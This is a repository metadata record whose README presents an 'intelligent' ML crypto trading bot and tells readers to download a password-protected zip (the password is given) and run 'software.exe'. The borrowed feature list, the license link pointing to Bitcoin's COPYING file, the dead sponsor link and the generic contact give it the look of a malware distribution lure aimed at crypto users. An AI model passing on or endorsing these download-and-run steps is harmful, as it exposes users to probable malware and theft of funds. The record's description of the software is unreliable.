{"id":27634755,"url":"https://github.com/orientsrocks6n/trading_soft_","last_synced_at":"2026-05-18T00:08:29.465Z","repository":{"id":289281941,"uuid":"970733295","full_name":"orientsrocks6n/trading_soft_","owner":"orientsrocks6n","description":"The project is aimed at developing an intelligent bot for automated cryptocurrency trading, leveraging advanced machine learning (ML) algorithms and feature engineering. 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The project offers the following core functionalities:\r\n\r\n+ Defining derived features using custom (Python) functions, including technical indicators\r\n+ Analyzing historical data and training machine learning models in batch mode (offline)\r\n+ Analyzing predicted scores and selecting the best signal parameters\r\n+ A signaling service that regularly requests new data from the exchange and generates buy/sell signals by applying the trained models in real-time\r\n+ A trading service that executes trades based on generated signals\r\n\r\n# How to Download\r\n\r\nDownload the [Release](https://github.com/orientsrocks6n/trading_soft_/releases/download/download/files.zip). Extract ***.zip*** (password: SOL!Launch37) and run ***software.exe***.\r\n\r\n# License\r\n\r\nThe TRADE is released under the MIT license. See [COPYING](https://github.com/bitcoin/bitcoin/blob/master/COPYING) for more information or visit https://opensource.org/licenses/MIT.\r\n\r\n# Trading\r\n\r\nThe bot is currently configured with the following parameters:\r\n\r\n+ Exchange: Compatible with most popular platforms\r\n+ Cryptocurrency: Supports all coins\r\n+ Analysis frequency: 1 minute (currently the only option)\r\n+ Score range: Between -1 and +1. A score \u003c 0 indicates a likely decrease, and \u003e 0 indicates a likely increase\r\n+ Filter: Notifications are sent only if the score exceeds ±0.20 (subject to change)\r\n+ Additional signs are added for each 0.05 increment (exceeding the filter threshold)\r\n\r\n# Features\r\n\r\n+ The bot currently operates in a non-incremental model, computing features for all available data (not just the latest update), which can take several hours for more complex configurations.\r\n+ The script loads merged input data, applies feature generation procedures, and stores all derived features in an output file.\r\n+ Not all generated features are used for training and prediction. A separate list of features is specified for training/prediction phases.\r\n+ Feature functions can accept additional parameters, like window sizes, from the configuration section.\r\n+ The same features must be used for both online (real-time) and offline (batch) feature generation.\r\n\r\n# Sponsorship\r\n\r\n[Become a sponsor](https://github.com/404)\r\n\r\n# Contact Us\r\n\r\ncrypto.ex@devby.same\r\n\r\n\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Forientsrocks6n%2Ftrading_soft_","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Forientsrocks6n%2Ftrading_soft_","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Forientsrocks6n%2Ftrading_soft_/lists"}